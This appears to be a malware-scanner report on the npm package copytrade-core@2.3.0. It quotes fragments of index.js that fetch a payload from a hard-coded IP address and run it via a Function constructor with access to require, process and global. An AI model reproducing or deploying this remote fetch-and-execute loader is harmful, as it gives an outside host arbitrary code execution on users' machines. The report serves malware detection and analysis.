6L7: // Create require that resolves from the project root (where package.json and node_modules are)
L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
...
L90:
L91: return fetch(url, { headers: head })
L92: .then(response => {
...
L95: }
L96: return response.json();
L97: });
...
L133: exports: {},
L134: __dirname: process.cwd(),
L135: __filename: import.meta.url,
CriticalRemote Response Code Execution
Source passes code obtained from a remote response into a dynamic execution sink.
index.jsView on unpkg · L6 149// Note: The code uses async/await, so we need to handle that
L150: const evalFn = new Function(
L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
•matchType = malicious_source_fingerprint_signature
signature = c06bd55d669269cb
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = copytrade-core@2.3.0
matchedPath = index.js
matchedIdentity = npm:Y29weXRyYWRlLWNvcmU:2.3.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
HighKnown Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkg 106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/";
// Constructs the base URL for the local server
const token = '107', head = { bearrtoken: "logo" };
// Options for the request, including the URL and headers
const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head };
function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
const url = `${reqoptions.url}${reqtoken}`;
HighAi Review Evidence
Default export fetches a hard-coded IP endpoint when invoked.
index.jsView on unpkg · L106 148// Use Function constructor to create an eval with the context
// Note: The code uses async/await, so we need to handle that
const evalFn = new Function(
'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',
data.credits
);
HighAi Review Evidence
The fetched code executes with require, process, global, filesystem-relative paths, and timers.
index.jsView on unpkg · L148